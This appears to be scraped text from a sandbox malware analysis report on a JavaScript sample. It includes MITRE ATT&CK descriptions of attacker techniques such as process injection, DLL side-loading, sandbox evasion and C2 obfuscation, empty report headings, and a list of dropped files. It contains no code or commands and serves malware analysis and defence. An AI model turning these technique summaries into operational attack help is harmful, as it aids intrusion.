Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 19048239772762424923.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5303d40a-7706-4234-b642-050b0c991326.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF67c733.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f5a19e05-3195-4bc6-b272-46793ef2114c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
19048239772762424923.js